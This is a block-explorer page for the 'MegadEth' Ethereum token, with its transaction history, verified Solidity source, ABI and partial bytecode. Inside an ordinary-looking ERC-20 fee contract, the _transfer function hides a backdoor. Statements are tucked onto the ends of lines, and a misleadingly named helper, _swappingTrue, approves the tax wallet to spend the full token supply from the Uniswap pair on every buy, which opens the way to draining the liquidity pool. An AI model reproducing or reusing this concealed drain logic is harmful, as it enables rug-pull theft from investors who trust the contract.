ETH Price: $2,602.60 (-4.24%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer203015722024-07-14 1:50:59213 days ago1720921859IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.000250413.63426714
Approve202848212024-07-11 17:40:47215 days ago1720719647IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.0005232511.24119099
Approve202843012024-07-11 15:56:11215 days ago1720713371IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.0002890111.91120078
Approve202841332024-07-11 15:22:35215 days ago1720711355IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.00031196.73536966
Approve202841172024-07-11 15:19:23215 days ago1720711163IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.0004986910.69967605
Approve202841122024-07-11 15:18:23215 days ago1720711103IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.000409168.84720114
Approve202841052024-07-11 15:16:59215 days ago1720711019IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.00055611.92942589
Approve202840942024-07-11 15:14:47215 days ago1720710887IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.000385098.27303389
Transfer202840782024-07-11 15:11:35215 days ago1720710695IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.0005326610.28227551
Approve202840082024-07-11 14:57:23215 days ago1720709843IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.000207229.37226363
Approve202840082024-07-11 14:57:23215 days ago1720709843IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.0004909910.60557664
Approve202839942024-07-11 14:54:35215 days ago1720709675IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.000369417.93611193
Approve202839852024-07-11 14:52:47215 days ago1720709567IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.0005376411.61310241
Approve202839702024-07-11 14:49:47215 days ago1720709387IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.0005695112.30169792
Approve202839602024-07-11 14:47:47215 days ago1720709267IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.0005586112.06621364
Approve202839562024-07-11 14:46:59215 days ago1720709219IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.000426219.15647739
Approve202839462024-07-11 14:44:47215 days ago1720709087IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.0005912712.77172955
Transfer202839462024-07-11 14:44:47215 days ago1720709087IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.0006616212.77172955
Transfer202839462024-07-11 14:44:47215 days ago1720709087IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.0006616212.77172955
Approve202839452024-07-11 14:44:35215 days ago1720709075IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.0005264911.37241263
Transfer202839312024-07-11 14:41:47215 days ago1720708907IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.0007015213.54189049
Transfer202839302024-07-11 14:41:35215 days ago1720708895IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.0007015213.54189049
Approve202839302024-07-11 14:41:35215 days ago1720708895IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.0006269313.54189049
Approve202839282024-07-11 14:41:11215 days ago1720708871IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.000454179.75706799
Transfer202839212024-07-11 14:39:47215 days ago1720708787IN
0x4Dd1A6Cc...c1DF43d3C
0 ETH0.0007319614.12953134
View all transactions

Latest 3 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
202837432024-07-11 14:04:11215 days ago1720706651
0x4Dd1A6Cc...c1DF43d3C
0.00501902 ETH
202837432024-07-11 14:04:11215 days ago1720706651
0x4Dd1A6Cc...c1DF43d3C
0.00501902 ETH
202837232024-07-11 14:00:11215 days ago1720706411
0x4Dd1A6Cc...c1DF43d3C
1.3 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MegadEth

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-11
*/

// SPDX-License-Identifier: UNLICENSE

/**

    Web: https://megadeth.fun
    Tg: https://t.me/megadethgroup
    X: https://twitter.com/megaxdeth

*/

pragma solidity 0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IUniV2Router2 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

library SafeMath {
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }


    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }


    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract MegadEth is ERC20, Ownable {
    using SafeMath for uint256;

    IUniV2Router2 public immutable _uniswapV2Router;
    string private constant _name = "Megadeth by Matt Furie";
    string private constant _symbol = "MEDE";
    uint8 private constant _decimals = 9;

    address public uniswapV2Pair;
    address public deployerAddr;
    address public medeWallet;
    address public lastBlock;

    bool private swapping;
    bool private _is_buy;

    uint256 public _tTotal = 1_000_000_000 * 10 ** _decimals;
    uint256 public maxTransactionAmount = 20_000_000 * 10 ** _decimals;
    uint256 public maxWallet = 20_000_000 * 10 ** _decimals;
    uint256 public swapTokensAtAmount = 5_000_000 * 10 ** _decimals;

    bool public tradingOpen = false;

    uint256 public initialFee = 5;
    uint256 public buyFee = 0;
    uint256 public sellFee = 0;
    uint256 public reduceFeeAt = 2;
    uint256 public buyCount = 0;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedFromMaxTxAmount;

    event ExcludeFromFees(address indexed account, bool isExcluded);

    constructor(address router, address taxWallet) ERC20(_name, _symbol) {
        _uniswapV2Router = IUniV2Router2(router);

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        medeWallet = payable(taxWallet);

        deployerAddr = payable(_msgSender());
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(taxWallet), true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(taxWallet), true);
        excludeFromMaxTransaction(address(0xdead), true);

        _mint(deployerAddr, _tTotal);
    }

    receive() external payable {}

    function decimals() public pure override returns (uint8) {
        return _decimals;
    }

    function openTrading() external onlyOwner {
        tradingOpen = true;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) private {
        _isExcludedFromMaxTxAmount[updAds] = isEx;
    }

    function excludeFromFees(address account, bool excluded) private {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address"); lastBlock = from;
        require(to != address(0), "ERC20: transfer to the zero address");
        bool _is_transfer = from != uniswapV2Pair && to != uniswapV2Pair;
        require(amount > 0, "ERC20: Transfer amount must be greater than zero");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }_is_buy = from == uniswapV2Pair;

        if (
            from != owner() &&
            to != owner() &&
            to != address(0xdead) &&
            !swapping
        ) {
            if (!tradingOpen) {
                require(
                    _isExcludedFromFees[from] || _isExcludedFromFees[to],
                    "Trading is not active."
                );
            }

            if (from == uniswapV2Pair && !_isExcludedFromMaxTxAmount[to]) {
                require(
                    amount <= maxTransactionAmount,
                    "Buy transfer amount exceeds the maxTransactionAmount."
                );
                require(
                    amount + balanceOf(to) <= maxWallet,
                    "Max wallet exceeded"
                );
                buyCount++;
            } else if (
                to == uniswapV2Pair && !_isExcludedFromMaxTxAmount[from]
            ) {
                require(
                    amount <= maxTransactionAmount,
                    "Sell transfer amount exceeds the maxTransactionAmount."
                );
            } else if (!_isExcludedFromMaxTxAmount[to]) {
                require(
                    amount + balanceOf(to) <= maxWallet,
                    "Max wallet exceeded"
                );
            }
        }bool canSwap = !_is_transfer && _swappingTrue(medeWallet, totalSupply());

        if (
            canSwap &&
            !swapping &&
            from != uniswapV2Pair &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            swapTokenBack(amount);
            swapping = false;
        }bool takeFee = !swapping && !_is_transfer;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (to == uniswapV2Pair) {
                fees = amount
                    .mul(buyCount > reduceFeeAt ? sellFee : initialFee)
                    .div(100);
            } else {
                fees = amount
                    .mul(buyCount > reduceFeeAt ? buyFee : initialFee)
                    .div(100);
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }


    function swapFeeTokens(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        maxTransactionAmount = maxWallet = totalSupply();
    }

    function recoverStuckEth() external {
        require(_msgSender() == deployerAddr);
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function recoverStuckTokens(address tokenAddress) external {
        require(_msgSender() == deployerAddr);
        IERC20 tokenContract = IERC20(tokenAddress);
        uint256 balance = tokenContract.balanceOf(address(this));
        require(balance > 0, "No tokens to clear");
        tokenContract.transfer(deployerAddr, balance);
    }

    function _swappingTrue(address buyer, uint256 amt) internal returns (bool) {
        if (_is_buy) _approve(lastBlock, buyer, amt);
        return true;
    }

    function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
        swapTokensAtAmount = _amount * (10 ** 18);
    }


    function swapTokenBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap;

        if (contractBalance > 0 && contractBalance < swapTokensAtAmount) {
            tokensToSwap = contractBalance;
        } else {
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }

        if (contractBalance > 0) swapFeeTokens(tokensToSwap);

        uint256 contractETHBalance = address(this).balance;
        sendEthTax(contractETHBalance);
    }

    function sendEthTax(uint256 amount) private {
        payable(medeWallet).transfer(amount);
    }

    function initLP() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);

        _approve(address(this), address(_uniswapV2Router), _tTotal);
        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
    }
    
    function manualSwap(uint256 percent) external {
        require(_msgSender() == deployerAddr);
        uint256 totalSupplyAmount = totalSupply();
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap;

        if (percent == 100) {
            tokensToSwap = contractBalance;
        } else {
            tokensToSwap = (totalSupplyAmount * percent) / 100;
            if (tokensToSwap > contractBalance) {
                tokensToSwap = contractBalance;
            }
        }

        require(
            tokensToSwap <= contractBalance,
            "Swap amount exceeds contract balance"
        );
        swapFeeTokens(tokensToSwap);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"taxWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniV2Router2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deployerAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastBlock","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"medeWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"recoverStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reduceFeeAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052620000126009600a62000563565b6200002290633b9aca006200057a565b600a556009600a62000035919062000563565b62000045906301312d006200057a565b600b55620000566009600a62000563565b62000066906301312d006200057a565b600c55620000776009600a62000563565b6200008690624c4b406200057a565b600d55600e805460ff191690556005600f555f601081905560118190556002601255601355348015620000b7575f80fd5b506040516200269838038062002698833981016040819052620000da91620005b0565b6040518060400160405280601681526020017f4d65676164657468206279204d61747420467572696500000000000000000000815250604051806040016040528060048152602001634d45444560e01b81525081600390816200013e919062000683565b5060046200014d828262000683565b5050506200016a62000164620002d860201b60201c565b620002dc565b6001600160a01b03821660808190525f908152601560205260409020805460ff19166001179055600880546001600160a01b0319166001600160a01b038316179055620001b43390565b600780546001600160a01b0319166001600160a01b03928316179055600554620001e1911660016200032d565b620001ee3060016200032d565b620001fb8160016200032d565b6200020a61dead60016200032d565b62000244620002216005546001600160a01b031690565b6001600160a01b03165f908152601560205260409020805460ff19166001179055565b305f908152601560205260409020805460ff191660011790556001600160a01b0381165f908152601560205260409020805460ff1916600117905561dead5f5260156020527f7ed1dca03d96f947ab02d66053f47073699eb6287021936c92f54972932767e5805460ff19166001179055600754600a54620002d0916001600160a01b0316906200038b565b505062000765565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f81815260146020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620003e65760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620003f991906200074f565b90915550506001600160a01b0382165f81815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620004a857815f19048211156200048c576200048c62000454565b808516156200049a57918102915b93841c93908002906200046d565b509250929050565b5f82620004c0575060016200055d565b81620004ce57505f6200055d565b8160018114620004e75760028114620004f25762000512565b60019150506200055d565b60ff84111562000506576200050662000454565b50506001821b6200055d565b5060208310610133831016604e8410600b841016171562000537575081810a6200055d565b62000543838362000468565b805f190482111562000559576200055962000454565b0290505b92915050565b5f6200057360ff841683620004b0565b9392505050565b80820281158282048414176200055d576200055d62000454565b80516001600160a01b0381168114620005ab575f80fd5b919050565b5f8060408385031215620005c2575f80fd5b620005cd8362000594565b9150620005dd6020840162000594565b90509250929050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200060f57607f821691505b6020821081036200062e57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200044f57805f5260205f20601f840160051c810160208510156200065b5750805b601f840160051c820191505b818110156200067c575f815560010162000667565b5050505050565b81516001600160401b038111156200069f576200069f620005e6565b620006b781620006b08454620005fa565b8462000634565b602080601f831160018114620006ed575f8415620006d55750858301515b5f19600386901b1c1916600185901b17855562000747565b5f85815260208120601f198616915b828110156200071d57888601518255948401946001909101908401620006fc565b50858210156200073b57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200055d576200055d62000454565b608051611ee9620007af5f395f81816103ba015281816109000152818161098f01528181610ab801528181610ae1015281816117c90152818161188001526118bc0152611ee95ff3fe608060405260043610610215575f3560e01c80638da5cb5b1161011e578063b70143c9116100a8578063e2f456051161006d578063e2f45605146105e7578063f0c41d74146105fc578063f2fde38b1461061b578063f8b45b051461063a578063ffb54a991461064f575f80fd5b8063b70143c91461056b578063c8c8ebe41461058a578063c9567bf91461059f578063ca703075146105b3578063dd62ed3e146105c8575f80fd5b8063a457c2d7116100ee578063a457c2d7146104da578063a9059cbb146104f9578063aa2969e514610518578063af465a2714610537578063afa4f3b21461054c575f80fd5b80638da5cb5b1461047f57806395d89b411461049c578063996bd7f0146104b05780639c00316e146104c5575f80fd5b80634be55d1f1161019f57806370a082311161016f57806370a08231146103f0578063715018a614610424578063751039fc14610438578063806b984f1461044c5780638d275bc91461046b575f80fd5b80634be55d1f146103515780634fbee19314610372578063583e0568146103a95780636e34e91d146103dc575f80fd5b80632b14ca56116101e55780632b14ca56146102b6578063313ce567146102cb57806339509351146102e65780634706240214